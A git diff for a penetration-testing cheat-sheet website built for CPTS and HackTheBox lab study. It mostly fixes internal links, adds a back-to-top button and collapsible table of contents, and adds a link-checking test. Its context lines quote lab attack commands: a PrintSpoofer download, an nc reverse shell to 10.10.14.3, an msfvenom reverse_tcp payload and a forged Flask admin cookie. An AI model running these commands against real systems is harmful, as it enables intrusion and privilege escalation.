Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · **Dashboard:** [CPTS Workflow](/sheets/pentest-workflow/attack-flow-dashboard) diff --git a/src/content/sheets/pentest-workflow/foothold-shells-payloads-metasploit.md b/src/content/sheets/pentest-workflow/foothold-shells-payloads-metasploit.md @@ -174,7 +174,7 @@ Invoke-PowerShellTcp -Bind -Port 7777 ### Web shells — staging the right one for the stack -**What to look for** → the web technology determines the shell language; the upload path determines whether I browse *to* it or include it. IIS → `.aspx`/`.asp`, Tomcat/Java → `.jsp`/`.war`, Apache/Nginx+PHP → `.php`. The `aspnet_client` folder, `WEB-INF/`, or `.php` in `$_SERVER` tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note [05 - Web Shells - CPTS Cheat Sheet](/sheets/pentest-workflow/web-shells). +**What to look for** → the web technology determines the shell language; the upload path determines whether I browse *to* it or include it. IIS → `.aspx`/`.asp`, Tomcat/Java → `.jsp`/`.war`, Apache/Nginx+PHP → `.php`. The `aspnet_client` folder, `WEB-INF/`, or `.php` in `$_SERVER` tells are the give-aways. Deep dive: 9 - Landing a Web Shell and sibling note 05 - Web Shells - CPTS Cheat Sheet. > [!tools] Stage this (from `attachments/`) > [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) @@ -329,7 +329,7 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f hta-psh -o ### Stabilise the TTY (do it before anything interactive) -**What to look for** → `tty` says `not a tty`, no tab-complete, `sudo -l`/`su`/`ssh` misbehave — every raw reverse shell lands like this. This is a **summary**; the full playbook (PTY allocation, recovery, restricted shells and ConPTY) is in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells). +**What to look for** → `tty` says `not a tty`, no tab-complete, `sudo -l`/`su`/`ssh` misbehave — every raw reverse shell lands like this. This is a **summary**; the full playbook (PTY allocation, recovery, restricted shells and ConPTY) is in TTY Upgrades & Restricted Shells. **Exploit (fastest paths)** ```bash diff --git a/src/content/sheets/pentest-workflow/htb-attack-flow-playbook.md b/src/content/sheets/pentest-workflow/htb-attack-flow-playbook.md @@ -132,7 +132,7 @@ printf '%s\t%s %s %s\n' \ - AD_Pentest_Tools_Cheat_Sheet — Active Directory tooling index. - Nmap Cheatsheet 2026 — scan design and Nmap reference. - Credential Hunting — focused credential-discovery workflow. -- [Attacking Enterprise Networks](/sheets/pentest-workflow/attacking-enterprise-networks) — the whole playbook run end to end against INLANEFREIGHT. +- Attacking Enterprise Networks — the whole playbook run end to end against INLANEFREIGHT. --- diff --git a/src/content/sheets/pentest-workflow/potato-attacks-guide.md b/src/content/sheets/pentest-workflow/potato-attacks-guide.md @@ -362,7 +362,7 @@ Invoke-WebRequest -Uri http://10.10.14.3/PrintSpoofer64.exe -OutFile C:\Windows\ C:\Windows\Temp\ps.exe -c "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd" ``` -`C:\Windows\Temp` and `C:\Windows\System32\spool\drivers\color` are usually writable by the AppPool identity — good staging spots. See [Web Shells](/sheets/pentest-workflow/web-shells) for the shell itself. +`C:\Windows\Temp` and `C:\Windows\System32\spool\drivers\color` are usually writable by the AppPool identity — good staging spots. See [Web Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for the shell itself. ### From WinRM / evil-winrm diff --git a/src/content/sheets/pentest-workflow/privilege-escalation.md b/src/content/sheets/pentest-workflow/privilege-escalation.md @@ -26,7 +26,7 @@ I've got a foothold (web shell, SSH, service account). Goal now: `root` / `NT AU > Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs: `sudo -l` + `whoami /priv`. Nine times out of ten the quick-win beats the linpeas scroll. > [!abstract] Sibling deep-dives -> Linux full-length checklist: [Linux Privilege Escalation — CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) · Windows: [Windows Privilege Escalation — CPTS Cheat Sheet](/sheets/pentest-workflow/privilege-escalation) · Credentials found here feed back into [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and forward into [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). +> Linux full-length checklist: [Linux Privilege Escalation — CPTS Cheat Sheet](/sheets/privilege-escalation/linux-privesc) · Windows: [Windows Privilege Escalation — CPTS Cheat Sheet](/sheets/privilege-escalation/windows-privesc) · Credentials found here feed back into [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and forward into [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). --- @@ -34,7 +34,7 @@ I've got a foothold (web shell, SSH, service account). Goal now: `root` / `NT AU #### 0 — Upgrade the TTY first (do this before anything else) -**What to look for:** `tty` returns `not a tty`, no tab-complete, `su`/`ssh` die. Fix it now or every later step is misery. Full playbook in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells). +**What to look for:** `tty` returns `not a tty`, no tab-complete, `su`/`ssh` die. Fix it now or every later step is misery. Full playbook in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). ```bash # ── [TARGET] spawn a PTY (first one that exists) ── @@ -53,7 +53,7 @@ stty rows 50 cols 200 # values from `stty size` locally ``` > [!warning] Watch out -> On **zsh** `stty raw -echo` and `fg` must be on the same line separated by `;` or `-echo` is lost before `fg` runs. If I land in **rbash/rksh/lshell**, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells). +> On **zsh** `stty raw -echo` and `fg` must be on the same line separated by `;` or `-echo` is lost before `fg` runs. If I land in **rbash/rksh/lshell**, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). #### 1 — Auto-enum: linpeas + pspy @@ -263,7 +263,7 @@ gcc kernel_exploit.c -o kx && ./kx # compile ON-target for glibc match > Memory-corruption kernel exploits (Dirty COW **CVE-2016-5195** < 4.8.3, Dirty Pipe **CVE-2022-0847** kernels 5.8–5.16.11, OverlayFS/Ubuntu CVEs) can **panic or hang the target** — catastrophic on a real engagement, and in a lab it can force a reset that wipes your planted artifacts. Rules of engagement: (1) exhaust every misconfiguration first, (2) snapshot/backup if you can, (3) prefer **logic bugs** over memory corruption — **PwnKit CVE-2021-4034** (`pkexec`, near-universal pre-2022, rarely crashes) and **sudo Baron Samedit CVE-2021-3156** are logic-class and far safer, (4) document exploit name + CVE + outcome for the report (client stability is a finding too). Detection: new SUID files / unexpected root shells are the classic post-exploitation artifacts a blue team hunts ([T1068](https://attack.mitre.org/techniques/T1068/) Exploitation for Privilege Escalation). > [!warning] Watch out -> **PwnKit (CVE-2021-4034)** is near-universal on anything with `pkexec` and rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: [Linux Privilege Escalation Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts). +> **PwnKit (CVE-2021-4034)** is near-universal on anything with `pkexec` and rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: [Linux Privilege Escalation Cheat Sheet](/sheets/privilege-escalation/linux-privesc). #### 8 — SSH key looting & reuse @@ -351,7 +351,7 @@ systemctl list-timers --all > > **Link-only companions:** [Watson](https://github.com/rasta-mouse/Watson) / [Sherlock](https://github.com/rasta-mouse/Sherlock) (legacy missing-patch suggesters) · [WES-NG](https://github.com/bitsadmin/wesng) and [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) — **offline diff**: run `systeminfo` on the target, feed the output to the suggester on your attack box (`wesng systeminfo.txt`), and it maps missing patches → known privesc CVEs without touching the target again. -**What to look for:** `whoami /priv` for `SeImpersonate`; `whoami /groups` for privileged groups. Deep dives: [Windows PrivEsc Cheat Sheet](/sheets/pentest-workflow/privilege-escalation) and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. +**What to look for:** `whoami /priv` for `SeImpersonate`; `whoami /groups` for privileged groups. Deep dives: [Windows PrivEsc Cheat Sheet](/sheets/privilege-escalation/windows-privesc) and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. ```powershell # ── the fast manual checks (do these by hand immediately) ── @@ -735,7 +735,7 @@ icacls C:\Windows\System32\config\SAM - **Remote Management Users** → WinRM access (foothold, not privesc) — but combined with the groups above it's the execution channel. ### 🐧 Linux PrivEsc — Deeper Vectors (PATH · NFS · Docker/LXD · LD_PRELOAD · wildcard · systemd) -Depth behind STAGE 9's one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the **trust boundary** where a root process (cron, SUID binary, root's own session, an NFS export) trusts something I can write, and step through it. Full command index: [Linux PrivEsc Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts). +Depth behind STAGE 9's one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the **trust boundary** where a root process (cron, SUID binary, root's own session, an NFS export) trusts something I can write, and step through it. Full command index: [Linux PrivEsc Cheat Sheet](/sheets/privilege-escalation/linux-privesc). #### A — PATH hijack a root-run *unqualified* command @@ -967,7 +967,7 @@ tmux -S /shareds # drops me straight into root's l > [!tip] `disk` and `adm` never touch `/etc/sudoers` yet `disk` is effectively root (raw FS) and `adm` is a credential goldmine — always read `id` for *unfamiliar* groups, not just `sudo`. A root tmux/screen socket that's group-writable needs **zero exploit code** — attaching inherits root's running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist. ### 🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix) -The `SeImpersonate → potato` / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, `whoami /priv` and `whoami /groups` are a *menu* — every **Disabled** privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: [Windows PrivEsc Cheat Sheet](/sheets/pentest-workflow/privilege-escalation) · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. +The `SeImpersonate → potato` / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, `whoami /priv` and `whoami /groups` are a *menu* — every **Disabled** privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: [Windows PrivEsc Cheat Sheet](/sheets/privilege-escalation/windows-privesc) · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. #### The token-privilege matrix (map the priv → the technique) diff --git a/src/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md b/src/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md @@ -905,7 +905,7 @@ flask-unsign --sign --cookie "{'username':'admin'}" --secret 'crackedSecret' - JWT/localStorage "sessions" can't be revoked server-side — logout is cosmetic. > [!warning] OPSEC — auth attacks are the noisiest thing you'll do -> Lockout policies, impossible-travel alerts, and login-anomaly dashboards all trigger here. Spray ≤2 passwords per account per window (breadth-first), respect the GitLab-style "10 attempts / 10 min" lockouts, and always `-f`/stop-on-success. On CPTS, default creds and one wordlist pass are usually the intended path — hours of rockyou against a login form rarely are. See [02 - Attacking Common Applications - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-applications) for per-app cred tables and [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for what to do with the shell that follows. +> Lockout policies, impossible-travel alerts, and login-anomaly dashboards all trigger here. Spray ≤2 passwords per account per window (breadth-first), respect the GitLab-style "10 attempts / 10 min" lockouts, and always `-f`/stop-on-success. On CPTS, default creds and one wordlist pass are usually the intended path — hours of rockyou against a login form rarely are. See [02 - Attacking Common Applications - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-applications-guide) for per-app cred tables and [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for what to do with the shell that follows. ### 💉 Manual Injection Depth — SQLi · LFI/RFI · Upload · CmdInjection diff --git a/src/content/sheets/pentest-workflow/worked-chains.md b/src/content/sheets/pentest-workflow/worked-chains.md @@ -283,7 +283,7 @@ Note: HTB-Forest. Notes: HTB-Fluffy · Fluffy Attack Plan. ### The web-to-AD pattern (many CPTS/AEN boxes) -`[S0/S2]` external recon + web enum finds an app → `[S2]` an app-specific exploit (upload/LFI/known-CVE/thick-client creds) → foothold shell on a domain-joined host → `[S9]` local privesc if needed → `[S4]` you're now inside AD: BloodHound + LDAP cookbook as the machine/user → follow the AD shape above. The [**Attacking Enterprise Networks**](/sheets/pentest-workflow/attacking-enterprise-networks) capstone is exactly this, end to end — see that sheet for the full INLANEFREIGHT chain written out command by command. Chain A above is this pattern written out step by step. +`[S0/S2]` external recon + web enum finds an app → `[S2]` an app-specific exploit (upload/LFI/known-CVE/thick-client creds) → foothold shell on a domain-joined host → `[S9]` local privesc if needed → `[S4]` you're now inside AD: BloodHound + LDAP cookbook as the machine/user → follow the AD shape above. The [**Attacking Enterprise Networks**](/sheets/pentest-workflow/htb-attack-flow-playbook) capstone is exactly this, end to end — see that sheet for the full INLANEFREIGHT chain written out command by command. Chain A above is this pattern written out step by step. > [!note] More box notes to mine for patterns > Garfield (Season 10), the Pro-Lab chains (Dante, Zephyr), and the AD Track. Same shape scaled up: multiple hosts, pivots between segments ([Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)), and trusts ([Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest)) once you're DA in the first domain. diff --git a/src/layouts/Base.astro b/src/layouts/Base.astro @@ -2,6 +2,7 @@ import { ClientRouter } from 'astro:transitions'; import Header from '../components/Header.astro'; import Footer from '../components/Footer.astro'; +import Icon from '../components/Icon.astro'; import SearchModal from '../components/SearchModal.astro'; import { url } from '../lib/url'; import '../styles/app.css'; @@ -96,10 +97,16 @@ const canonical = new URL(Astro.url.pathname, Astro.site).href; texture the old glass build got from blur. --> <span class="grain" aria-hidden="true"></span> <Header /> - <main id="main"> + <main id="main" tabindex="-1"> <slot /> </main> <Footer /> + <!-- Sheets run to a couple of thousand lines; without this the only way + back to the header is a long scroll. Hidden until app.ts marks it + visible, so it never shows on a page short enough not to need it. --> + <button id="to-top" class="to-top" type="button" hidden aria-label="Back to top"> + <Icon name="chevron" /> + </button> <SearchModal /> <script> import '../scripts/app.ts'; diff --git a/src/pages/sheets/[...slug].astro b/src/pages/sheets/[...slug].astro @@ -80,15 +80,20 @@ const pdfHref = d.pdf ? url(`pdfs/${d.pdf}`) : null; <Content /> </article> + {/* One TOC serves both layouts. Below 1040px the grid puts it above the + article and <summary> collapses it, so a 2000-line sheet is still + navigable on a phone; from 1040px up it is the sticky rail and the + summary renders as its heading. Keeping a single node means the + scroll-spy in app.ts has one set of links to highlight. */} {toc.length > 1 && ( - <aside class="toc plate-dawn corners" aria-label="On this page"> - <h4>On this page</h4> - <nav> + <details class="toc plate-dawn corners" open> + <summary>On this page</summary> + <nav aria-label="On this page"> {toc.map((h) => ( <a href={`#${h.slug}`} class={h.depth === 3 ? 'lvl-3' : ''}>{h.text}</a> ))} </nav> - </aside> + </details> )} </div> diff --git a/src/scripts/app.ts b/src/scripts/app.ts @@ -383,6 +383,39 @@ function initTOC(): void { heads.forEach((h) => obs.observe(h)); } +// `init` re-runs on every view-transition swap, so the window listener is +// bound once here and re-reads the current button each time it fires; +// binding inside `initBackToTop` would stack a listener per navigation. +let backToTopBound = false; + +function syncBackToTop(): void { + const btn = document.querySelector<HTMLButtonElement>('#to-top'); + if (btn) btn.classList.toggle('is-visible', window.scrollY > 600); +} + +function initBackToTop(): void { + const btn = document.querySelector<HTMLButtonElement>('#to-top'); + if (!btn) return; + // A page that barely scrolls does not need the control at all, so it stays + // `hidden` rather than fading in over a screenful of content. + if (document.documentElement.scrollHeight < window.innerHeight * 2) return; + btn.hidden = false; + + btn.addEventListener('click', () => { + const reduced = window.matchMedia('(prefers-reduced-motion: reduce)').matches; + window.scrollTo({ top: 0, behavior: reduced ? 'auto' : 'smooth' }); + // Focus follows the scroll so keyboard and screen-reader users land at the + // top of the document rather than staying parked on the button. + document.querySelector<HTMLElement>('#main')?.focus({ preventScroll: true }); + }); + + if (!backToTopBound) { + window.addEventListener('scroll', syncBackToTop, { passive: true }); + backToTopBound = true; + } + syncBackToTop(); +} + function init(): void { initTheme(); initMobileNav(); @@ -393,6 +426,7 @@ function init(): void { initScrollReveal(); initScrollProgress(); initTOC(); + initBackToTop(); } document.addEventListener('astro:page-load', init); diff --git a/src/styles/global.css b/src/styles/global.css @@ -921,13 +921,41 @@ main, .site-header, .site-footer { position: relative; z-index: 2; } max-width: 1080px; } @media (min-width: 1040px) { .sheet-layout { grid-template-columns: minmax(0, 1fr) 220px; } } -.toc { position: sticky; top: 78px; align-self: start; max-height: calc(100vh - 100px); overflow-y: auto; display: none; } -@media (min-width: 1040px) { .toc { display: block; } } -.toc h4 { +.toc { align-self: start; } +/* Under 1040px the rail has nowhere to sit, so it becomes a collapsed + disclosure ahead of the article instead of disappearing. `order` moves it + without moving the markup, which keeps the sticky rail as the same node. */ +.toc { order: -1; margin-bottom: 0.4rem; padding: 0.9rem 1rem; border: 1px solid var(--rule); } +.toc > summary { font-family: var(--font-mono); font-size: var(--step-micro); letter-spacing: var(--track-wide); text-transform: uppercase; - color: var(--fg-faint); margin-bottom: 0.7rem; - padding-bottom: 0.5rem; border-bottom: 1px solid var(--rule); + color: var(--fg-faint); cursor: pointer; list-style: none; + display: flex; align-items: center; justify-content: space-between; gap: 0.6rem; +} +.toc > summary::-webkit-details-marker { display: none; } +/* Square +/- rather than a triangle: the contract rules out rounded UA chrome. */ +.toc > summary::after { + content: '+'; font-size: 0.95em; line-height: 1; color: var(--fg-faint); +} +.toc[open] > summary::after { content: '−'; } +.toc[open] > summary { margin-bottom: 0.7rem; padding-bottom: 0.5rem; border-bottom: 1px solid var(--rule); } +.toc > summary:hover { color: var(--accent); } +.toc > nav { max-height: 45vh; overflow-y: auto; } +@media (min-width: 1040px) { + .toc { + order: 0; position: sticky; top: 78px; margin-bottom: 0; + max-height: calc(100vh - 100px); overflow-y: auto; + padding: 0; border: 0; + } + /* The rail is never collapsible, so the marker goes and the panel stays + open even if a narrow-viewport reader closed it before resizing. */ + .toc > summary { cursor: default; pointer-events: none; } + .toc > summary::after { content: none; } + .toc > summary, + .toc[open] > summary { + margin-bottom: 0.7rem; padding-bottom: 0.5rem; border-bottom: 1px solid var(--rule); + } + .toc > nav { display: block; max-height: none; overflow-y: visible; } } .toc a { display: block; padding: 0.26rem 0 0.26rem 0.7rem; @@ -1088,10 +1116,11 @@ main, .site-header, .site-footer { position: relative; z-index: 2; } /* ---- 'On this page' rail as a dawn plate --------------------------------- */ /* `.corners` would force `position: relative` and un-stick the rail, so sticky - is re-asserted at higher specificity. The panel treatment and its brackets + is re-asserted at higher specificity — but only from 1040px up, since below + that the element is the collapsible disclosure and must scroll away. The panel treatment and its brackets only appear on the night page — in light mode `.plate-dawn` is a no-op and the rail keeps its bare, borderless look. */ -.toc.corners { position: sticky; } +@media (min-width: 1040px) { .toc.corners { position: sticky; } } .toc.corners::before, .toc.corners::after { display: none; } :root[data-theme='dark'] .toc.plate-dawn { background: var(--surface); @@ -1100,3 +1129,32 @@ main, .site-header, .site-footer { position: relative; z-index: 2; } } :root[data-theme='dark'] .toc.plate-dawn.corners::before, :root[data-theme='dark'] .toc.plate-dawn.corners::after { display: block; } + +/* `tabindex="-1"` makes <main> a focus target for the back-to-top handoff. + It is not keyboard-reachable, so suppressing the ring costs no affordance. */ +#main:focus { outline: none; } + +/* ── Back to top ─────────────────────────────────────────────────────────── + Square, hairline, no radius or shadow, per the design contract. It sits + clear of the footer rule and out of the way of the mobile nav bar. */ +.to-top { + position: fixed; right: 1rem; bottom: 1rem; z-index: 40; + width: 38px; height: 38px; + display: grid; place-items: center; + background: var(--surface); color: var(--fg-faint); + border: 1px solid var(--rule); + cursor: pointer; + opacity: 0; transform: translateY(6px); + transition: opacity 200ms ease, transform 200ms ease, + color 200ms ease, border-color 200ms ease; +} +.to-top[hidden] { display: none; } +.to-top.is-visible { opacity: 1; transform: translateY(0); } +.to-top:hover { color: var(--accent); border-color: var(--accent); } +.to-top:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; } +/* The icon set ships a right-chevron; pointing it up avoids a new glyph. */ +.to-top svg { width: 14px; height: 14px; transform: rotate(-90deg); } +@media (prefers-reduced-motion: reduce) { + .to-top { transition: none; transform: none; } + .to-top.is-visible { transform: none; } +} diff --git a/test/internal-links.test.mjs b/test/internal-links.test.mjs @@ -0,0 +1,57 @@ +import assert from 'node:assert/strict'; +import { readdir, readFile } from 'node:fs/promises'; +import test from 'node:test'; + +const SHEETS = new URL('../src/content/sheets/', import.meta.url); + +// Every sheet on disk, keyed the way an in-page link addresses it. +const collectSheets = async () => { + const sheets = []; + for (const category of await readdir(SHEETS, { withFileTypes: true })) { + if (!category.isDirectory()) continue; + const dir = new URL(`${category.name}/`, SHEETS); + for (const file of await readdir(dir)) { + if (!file.endsWith('.md')) continue; + sheets.push({ + id: `${category.name}/${file.slice(0, -3)}`, + url: new URL(file, dir), + }); + } + } + return sheets; +}; + +const LINK = /\]\(\/sheets\/([a-z0-9][a-z0-9-]*)\/([a-z0-9][a-z0-9-]*)(?=[)#])/g; + +// Slug renames and category moves rot these links silently: the build still +// succeeds and the dead href only shows up when a reader clicks it. Two +// previous commits repaired them by hand, so the check lives here instead. +test('every internal /sheets/ link resolves to a sheet that exists', async () => { + const sheets = await collectSheets(); + const known = new Set(sheets.map((s) => s.id)); + const broken = []; + + for (const sheet of sheets) { + const body = await readFile(sheet.url, 'utf8'); + for (const [, category, slug] of body.matchAll(LINK)) { + const target = `${category}/${slug}`; + if (!known.has(target)) broken.push(`${sheet.id} -> /sheets/${target}`); + } + } + + assert.deepEqual(broken, [], `broken internal links:\n ${broken.join('\n ')}`); +}); + +test('no sheet links to itself', async () => { + const sheets = await collectSheets(); + const selfLinks = []; + + for (const sheet of sheets) { + const body = await readFile(sheet.url, 'utf8'); + for (const [, category, slug] of body.matchAll(LINK)) { + if (`${category}/${slug}` === sheet.id) selfLinks.push(sheet.id); + } + } + + assert.deepEqual(selfLinks, [], `self-referential links:\n ${selfLinks.join('\n ')}`); +});